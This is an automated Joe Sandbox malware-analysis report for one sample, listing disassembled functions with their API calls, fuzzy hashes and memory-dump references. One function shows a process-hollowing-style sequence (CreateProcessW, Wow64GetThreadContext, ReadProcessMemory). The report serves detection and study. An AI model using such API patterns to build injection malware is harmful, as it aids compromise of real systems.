Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b077f1b8c49e04c48c5a3052ddb422769f0fba9b4f1a4ac6cf47963c61ef70e
Instruction ID: d32af92425e1480d68a28cee6a10929a11256350334c42c0e6f6cec70d760408
Opcode Fuzzy Hash: 6b077f1b8c49e04c48c5a3052ddb422769f0fba9b4f1a4ac6cf47963c61ef70e
Instruction Fuzzy Hash: 58F14A716083409FC754DF28C484A6ABBE6FF89324F14896EF89A9B351D730E945CF92

Function 0065434A Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00654370
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00654415
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00654432

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: 87bb6e9c25725c01e29536055ad052811ded973d3c24898c0cbd71ce08c518c4
Instruction ID: 8d62707631603e4b0bd5f54c86ecc5b7dc3ba9f5f22a7c571b764ebb9bea823e
Opcode Fuzzy Hash: 87bb6e9c25725c01e29536055ad052811ded973d3c24898c0cbd71ce08c518c4
Instruction Fuzzy Hash: 0831A0B1505701CFC724DF24D8846DBBBF9FB48309F00496EE98A82291DB74A988CB56

Function 0067571C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00675733

Part of subcall function 0067A16B: __NMSG_WRITE.LIBCMT ref: 0067A192
Part of subcall function 0067A16B: __NMSG_WRITE.LIBCMT ref: 0067A19C

__NMSG_WRITE.LIBCMT ref: 0067573A

Part of subcall function 0067A1C8: GetModuleFileNameW.KERNEL32(00000000,007133BA,00000104,?,00000001,00000000), ref: 0067A25A
Part of subcall function 0067A1C8: ___crtMessageBoxW.LIBCMT ref: 0067A308

Part of subcall function 0067309F: ___crtCorExitProcess.LIBCMT ref: 006730A5
Part of subcall function 0067309F: ExitProcess.KERNEL32 ref: 006730AE

Part of subcall function 00678B28: __getptd_noexit.LIBCMT ref: 00678B28

RtlAllocateHeap.NTDLL(00E00000,00000000,00000001,00000000,?,?,?,00670DD3,?), ref: 0067575F

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: a4eccdf441d3b818fe4e586813ce2b2f30a11f5199f5ec2312c3f8cb1bfaef1a
Instruction ID: 672f995dc7040f0b4d3927401a436501a37bb2ef5f160c14c949129cf3b9a3e6
Opcode Fuzzy Hash: a4eccdf441d3b818fe4e586813ce2b2f30a11f5199f5ec2312c3f8cb1bfaef1a
Instruction Fuzzy Hash: A401F531240B11DEE6587778EC46AAE734B9B82762F10C169F40EEB3C1DFF49C414669

Function 006B98A2 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,006B9548,?,?,?,?,?,00000004), ref: 006B98BB
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,006B9548,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 006B98D1
CloseHandle.KERNEL32(00000000,?,006B9548,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 006B98D8

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: 0fe9c937d7ba24e25e444c8e6da4b3ab0bcea3c823ed8acadf78e0438fd7702e
Instruction ID: f9978b7f8bc20aee8aa26878b15cefe784ff58e8850f812532cc14a85d77c4aa
Opcode Fuzzy Hash: 0fe9c937d7ba24e25e444c8e6da4b3ab0bcea3c823ed8acadf78e0438fd7702e
Instruction Fuzzy Hash: 4DE08632581224B7D7211B54EC09FDA7F1AAF06760F114121FB15691E087B1161197D8

Function 006B8D0D Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 006B8D1B

Part of subcall function 00672D55: RtlFreeHeap.NTDLL(00000000,00000000,?,00679A24), ref: 00672D69
Part of subcall function 00672D55: GetLastError.KERNEL32(00000000,?,00679A24), ref: 00672D7B

_free.LIBCMT ref: 006B8D2C
_free.LIBCMT ref: 006B8D3E

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 625e2a9df38ff8793e00647abbe9ccf0d6414545c555b0c4696158d27d9f7751
Instruction ID: 690632bf4f0a53cf4f19f44888354fa2dcea06da304764f14889d2b8d733fb1a
Opcode Fuzzy Hash: 625e2a9df38ff8793e00647abbe9ccf0d6414545c555b0c4696158d27d9f7751
Instruction Fuzzy Hash: 63E012E16016024ACB74A679A950AD313DE8F98352714491EF40DD7286CE64FCC2C228

Function 0065A9C3 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

CALL, xrefs: 0068FC01

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: 57c44fb8aaf1d7ac04ecef4180b3c8f6f389de5272a0bf1f1e5a50de5872f560
Instruction ID: 4dfdbbf7761e822fb718a1a4dbcccf1b9acee576887e415747d224ee55ac6372
Opcode Fuzzy Hash: 57c44fb8aaf1d7ac04ecef4180b3c8f6f389de5272a0bf1f1e5a50de5872f560
Instruction Fuzzy Hash: F2226B70508341DFDB24DF54C494A6ABBE2FF84305F148A6DE88A8B361D731ED49CB96

Function 006547D0 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00654834

Part of subcall function 0067336C: __lock.LIBCMT ref: 00673372
Part of subcall function 0067336C: DecodePointer.KERNEL32(00000001,?,00654849,006A7C74), ref: 0067337E
Part of subcall function 0067336C: EncodePointer.KERNEL32(?,?,00654849,006A7C74), ref: 00673389

Part of subcall function 006548FD: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00654915
Part of subcall function 006548FD: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 0065492A

Part of subcall function 00653B3A: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00653B68
Part of subcall function 00653B3A: IsDebuggerPresent.KERNEL32 ref: 00653B7A
Part of subcall function 00653B3A: GetFullPathNameW.KERNEL32(00007FFF,?,?,007152F8,007152E0,?,?), ref: 00653BEB
Part of subcall function 00653B3A: SetCurrentDirectoryW.KERNEL32(?), ref: 00653C6F

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00654874

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: 144c1f4d18bb79995e3ba8bf69e0be527f61734a7ac6a3ed995542f3836f603b
Instruction ID: 6eaf40f415ea615a6e2dfb0c15230d561f8005c60a36ee3fe61c5ffe732ae125
Opcode Fuzzy Hash: 144c1f4d18bb79995e3ba8bf69e0be527f61734a7ac6a3ed995542f3836f603b
Instruction Fuzzy Hash: 5111C071904351DFC700DF28E80594ABBE9FF98750F10C91EF845872B1DB748648CB99

Function 00655C99 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000,?,00655821,?,?,?,?), ref: 00655CC7
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,00000000,?,00655821,?,?,?,?), ref: 0068DD73

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1aaedf6027eea360f34c56e5aa4b84552a142d4fe4a445e85b98c7d80a232144
Instruction ID: bbb9573ef6c871f8ef756986f912763795d4f4e15e3c949a399faac7bc396d9a
Opcode Fuzzy Hash: 1aaedf6027eea360f34c56e5aa4b84552a142d4fe4a445e85b98c7d80a232144
Instruction Fuzzy Hash: 58019670184748BEF3201E24CC9AFB637DDEB01769F108319BEE69A2E0C6B41C498B54

Function 00670DB6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0067571C: __FF_MSGBANNER.LIBCMT ref: 00675733
Part of subcall function 0067571C: __NMSG_WRITE.LIBCMT ref: 0067573A
Part of subcall function 0067571C: RtlAllocateHeap.NTDLL(00E00000,00000000,00000001,00000000,?,?,?,00670DD3,?), ref: 0067575F

std::exception::exception.LIBCMT ref: 00670DEC
__CxxThrowException@8.LIBCMT ref: 00670E01

Part of subcall function 0067859B: RaiseException.KERNEL32(?,?,?,00709E78,00000000,?,?,?,?,00670E06,?,00709E78,?,00000001), ref: 006785F0

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: 1a204cad0852e8d1f3d41443636d8b25d5c6399ba527aa4fb23eee0a774c0f25
Instruction ID: 9ce49b4616bd3e9327d34d382199a39c2b5c33f79987ad459d6297d2457496b5
Opcode Fuzzy Hash: 1a204cad0852e8d1f3d41443636d8b25d5c6399ba527aa4fb23eee0a774c0f25
Instruction Fuzzy Hash: 6FF0A97154031EA6DB20EA95DC155DF7BAF9F01311F108459F90C96281DFF09E5095E5

Function 006755FD Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0067562C
__lock_file.LIBCMT ref: 0067564D

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: d95e8d7329e8ff7d90d80dae49f30bf2c874eafc8ac23bed065b6ec7e811dd09
Instruction ID: 4ecabebd159c9339c87e6b5ce4f1cf81ac0ca79deef8b4f40228f9049ae55aa5
Opcode Fuzzy Hash: d95e8d7329e8ff7d90d80dae49f30bf2c874eafc8ac23bed065b6ec7e811dd09
Instruction Fuzzy Hash: A401F771C00A09EFCF62AF688C064DE7B63AF91321F40C159F82C5B2A1DB718A11DF95

Function 006753A6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00678B28: __getptd_noexit.LIBCMT ref: 00678B28

__lock_file.LIBCMT ref: 006753EB

Part of subcall function 00676C11: __lock.LIBCMT ref: 00676C34

__fclose_nolock.LIBCMT ref: 006753F6

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 609dc75a92d7394ba19fbe7c26a61b048d9eb95a8b4aa20f3dabd16a8d564643
Instruction ID: 9d909ef768dbc1168b547239dea216483c77321aa96cda962b009899bb07d3ea
Opcode Fuzzy Hash: 609dc75a92d7394ba19fbe7c26a61b048d9eb95a8b4aa20f3dabd16a8d564643
Instruction Fuzzy Hash: F5F09671800B049ED751AB7998057AD77E26F41374F20C24CA42DAB1D1EFFC4D415B59

Function 032D129D Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 032D1A5B
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 032D1AF1
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 032D1B13

Memory Dump Source

Source File: 00000000.00000002.1379067181.00000000032D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32d0000_wWXR5js3k2.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 47f45bba1b7d6f78db91ee930b61901a72fbf3bd75938062ef2b5451d70cd9db
Instruction ID: 3aceefd39997b56c50454dfaa152a5d8ff70a3d87d342f77a5c6d19c1c92a54b
Opcode Fuzzy Hash: 47f45bba1b7d6f78db91ee930b61901a72fbf3bd75938062ef2b5451d70cd9db
Instruction Fuzzy Hash: BB12DE24E24658C6EB24DF64D8507DEB232EF68300F1090E9910DEB7A4E77A5F91CB5A

Function 00661FC3 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ee97b539c5d9559412b2879bd17738f770cf935858750641b14ebac88ed1677
Instruction ID: acefb1174474dbec54953167e19093b68636cfd36ce47b19ff688ec0c654570c
Opcode Fuzzy Hash: 3ee97b539c5d9559412b2879bd17738f770cf935858750641b14ebac88ed1677
Instruction Fuzzy Hash: F8518F31600604EFCF54EF68C9A5EAE77A7AF45310F1581ACF806AB392DA31ED05CB59

Function 00655AEE Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,00000001,00000000,00000000,?,?,00000000), ref: 00655B96

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 330120b93221b7a6d265398b5c546d24cafe08be7ee576141ec4e43d2fcfbb1d
Instruction ID: 3aa0a19e28ca8695c6d27b18aa5323a5475d9e0491d859b36ca0b64e679ee0ff
Opcode Fuzzy Hash: 330120b93221b7a6d265398b5c546d24cafe08be7ee576141ec4e43d2fcfbb1d
Instruction Fuzzy Hash: CA314D31A00A05AFCB18DF6CC4A8AADF7B6FF48321F148629DC1693750D770B994CB91

Function 0068FCAC Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0068FCB7

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: ef027ffadee96574861ef34879feb10645617295a361f1f4c7d3ec70e0d34700
Instruction ID: e8dc8cc7147e7f87dcdb1fccf69220465413fbe5dc97ee2802162d89b739a54b
Opcode Fuzzy Hash: ef027ffadee96574861ef34879feb10645617295a361f1f4c7d3ec70e0d34700
Instruction Fuzzy Hash: 16412774604341CFDB14DF14C444B5ABBE2BF49319F0989ACE99A8B762C332E849CF52

Function 006706FE Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5281ac648a44e9f301358fe957ebd07d634e8c437c758a8a874b8830b79bff63
Instruction ID: 8071f21204a7c430200189b269ca3405b022d8047238b52eeb1402cd745e793c
Opcode Fuzzy Hash: 5281ac648a44e9f301358fe957ebd07d634e8c437c758a8a874b8830b79bff63
Instruction Fuzzy Hash: D721A23664C380BFE321CB24AC47FE27F66EB83760F14C49EF988568D1D1650966CBA5

Function 006559B9 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00655A01

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 9d48f5ef4250c759ce462b19c74abd87c651414f6316fee0af764fc564ce5670
Instruction ID: f5d45161022a0c6a3b7736d80b4875e11ed354c72b4e97973656c775d03d1b50
Opcode Fuzzy Hash: 9d48f5ef4250c759ce462b19c74abd87c651414f6316fee0af764fc564ce5670
Instruction Fuzzy Hash: A4212B71500A04EBDB10AF61E8456AA7BBEFF00311F21C66EE486D5050DBB494D0D769

Function 00654DDD Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00654BB5: FreeLibrary.KERNEL32(00000000,?), ref: 00654BEF

Part of subcall function 0067525B: __wfsopen.LIBCMT ref: 00675266

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,007152F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00654E0F

Part of subcall function 00654B6A: FreeLibrary.KERNEL32(00000000), ref: 00654BA4

Part of subcall function 00654C70: _memmove.LIBCMT ref: 00654CBA

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: ee4d8804922f91b507b8e8d01564e0f940864839589728af8cc71b8a9ecd3135
Instruction ID: 8686a1e0c0237e1a39ac9d154f326581f8483c0617ca96c3c6631e7cbe340921
Opcode Fuzzy Hash: ee4d8804922f91b507b8e8d01564e0f940864839589728af8cc71b8a9ecd3135
Instruction Fuzzy Hash: D0112731600205ABCF14BF70C803FAD77A7AF44745F10846DF942A7181DE719A899B64

Function 0068FD85 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0068FD91

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: d1f8f123862a325a77a98127ce6aa27db8c72e821bf06e87630a17c56ebb0fe6
Instruction ID: 0161a8b311c711c11783dccbbfd0b88c920263635fcb899d1e2c506b303517de
Opcode Fuzzy Hash: d1f8f123862a325a77a98127ce6aa27db8c72e821bf06e87630a17c56ebb0fe6
Instruction Fuzzy Hash: CF212574908302DFDB14DF64C444B5ABBE2BF88315F058A6CF88A57722D731E849CBA2

Function 00655BC0 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,00010000,?,00000000,00000000,?,00010000,?,006556A7,00000000,00010000,00000000,00000000,00000000,00000000), ref: 00655C16

Memory Dump Source

